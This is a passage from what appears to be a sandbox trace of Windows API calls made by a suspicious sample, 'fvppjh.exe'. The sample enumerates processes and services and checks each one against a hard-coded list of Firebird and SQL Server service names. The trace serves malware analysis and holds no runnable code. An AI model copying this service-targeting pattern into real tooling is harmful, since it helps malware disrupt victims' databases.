	[0156.136] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.136] lstrlenW (lpString="svchost.exe") returned 11
	[0156.136] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.137] lstrlenW (lpString="svchost.exe") returned 11
	[0156.137] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.137] lstrlenW (lpString="svchost.exe") returned 11
	[0156.137] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.138] lstrlenW (lpString="svchost.exe") returned 11
	[0156.138] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0156.138] lstrlenW (lpString="spoolsv.exe") returned 11
	[0156.138] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.139] lstrlenW (lpString="svchost.exe") returned 11
	[0156.139] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0156.139] lstrlenW (lpString="audiodg.exe") returned 11
	[0156.139] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0156.139] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0156.139] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0156.140] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0156.140] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0156.140] lstrlenW (lpString="Memory Compression") returned 18
	[0156.140] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0156.141] lstrlenW (lpString="sihost.exe") returned 10
	[0156.141] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.141] lstrlenW (lpString="svchost.exe") returned 11
	[0156.141] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0156.141] lstrlenW (lpString="taskhostw.exe") returned 13
	[0156.141] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0156.142] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0156.142] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0156.142] lstrlenW (lpString="taskhostw.exe") returned 13
	[0156.142] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0156.143] lstrlenW (lpString="explorer.exe") returned 12
	[0156.143] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0156.143] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0156.143] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0156.144] lstrlenW (lpString="SearchUI.exe") returned 12
	[0156.144] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0156.144] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0156.144] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0156.145] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0156.145] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.145] lstrlenW (lpString="svchost.exe") returned 11
	[0156.145] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0156.145] lstrlenW (lpString="fvppjh.exe") returned 10
	[0156.146] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0156.146] lstrlenW (lpString="cmd.exe") returned 7
	[0156.146] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0156.146] lstrlenW (lpString="conhost.exe") returned 11
	[0156.146] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0156.147] CloseHandle (hObject=0x418) returned 1
	[0156.147] Sleep (dwMilliseconds=0x1f4) 
	[0156.875] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0570
	[0156.875] EnumServicesStatusExW (in: hSCManager=0x41c0570, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0156.876] GetLastError () returned 0xea
	[0156.876] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x42b06d8
	[0156.876] EnumServicesStatusExW (in: hSCManager=0x41c0570, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42b06d8, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42b06d8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0156.876] CloseServiceHandle (hSCObject=0x41c0570) returned 1
	[0156.877] lstrlenW (lpString="AppXSvc") returned 7
	[0156.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0156.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0156.877] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0156.877] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0156.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0156.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0156.877] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0156.877] lstrlenW (lpString="Audiosrv") returned 8
	[0156.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0156.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0156.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0156.877] lstrlenW (lpString="BFE") returned 3
	[0156.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0156.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0156.877] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0156.877] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0156.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0156.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0156.877] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0156.877] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0156.878] lstrlenW (lpString="CDPSvc") returned 6
	[0156.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0156.878] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0156.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0156.878] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0156.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0156.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0156.878] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0156.878] lstrlenW (lpString="CryptSvc") returned 8
	[0156.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0156.878] lstrlenW (lpString="DcomLaunch") returned 10
	[0156.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0156.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0156.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0156.878] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0156.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0156.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0156.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0156.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0156.879] lstrlenW (lpString="Dhcp") returned 4
	[0156.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0156.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0156.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0156.879] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0156.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0156.879] lstrlenW (lpString="Dnscache") returned 8
	[0156.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0156.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0156.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0156.879] lstrlenW (lpString="DPS") returned 3
	[0156.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0156.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0156.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0156.879] lstrlenW (lpString="DusmSvc") returned 7
	[0156.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0156.879] lstrlenW (lpString="EventLog") returned 8
	[0156.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0156.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0156.879] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0156.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0156.879] lstrlenW (lpString="EventSystem") returned 11
	[0156.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0156.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0156.880] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0156.880] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0156.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0156.880] lstrlenW (lpString="FontCache") returned 9
	[0156.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0156.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0156.880] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0156.880] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0156.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0156.880] lstrlenW (lpString="gpsvc") returned 5
	[0156.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0156.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0156.880] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0156.880] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0156.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0156.880] lstrlenW (lpString="iphlpsvc") returned 8
	[0156.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0156.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0156.880] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0156.880] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0156.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0156.880] lstrlenW (lpString="KeyIso") returned 6
	[0156.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0156.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0156.880] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0156.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0156.881] lstrlenW (lpString="LanmanServer") returned 12
	[0156.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0156.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0156.881] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0156.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0156.881] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0156.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0156.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0156.881] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0156.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0156.881] lstrlenW (lpString="lfsvc") returned 5
	[0156.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0156.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0156.881] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0156.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0156.881] lstrlenW (lpString="lmhosts") returned 7
	[0156.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0156.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0156.881] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0156.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0156.881] lstrlenW (lpString="LSM") returned 3
	[0156.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0156.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0156.881] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0156.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0156.881] lstrlenW (lpString="MpsSvc") returned 6
	[0156.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0156.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0156.881] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0156.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0156.882] lstrlenW (lpString="NcbService") returned 10
	[0156.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0156.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0156.882] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0156.882] lstrlenW (lpString="netprofm") returned 8
	[0156.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0156.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0156.882] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0156.882] lstrlenW (lpString="NgcSvc") returned 6
	[0156.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0156.882] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0156.882] lstrlenW (lpString="NlaSvc") returned 6
	[0156.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0156.882] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0156.882] lstrlenW (lpString="nsi") returned 3
	[0156.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0156.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
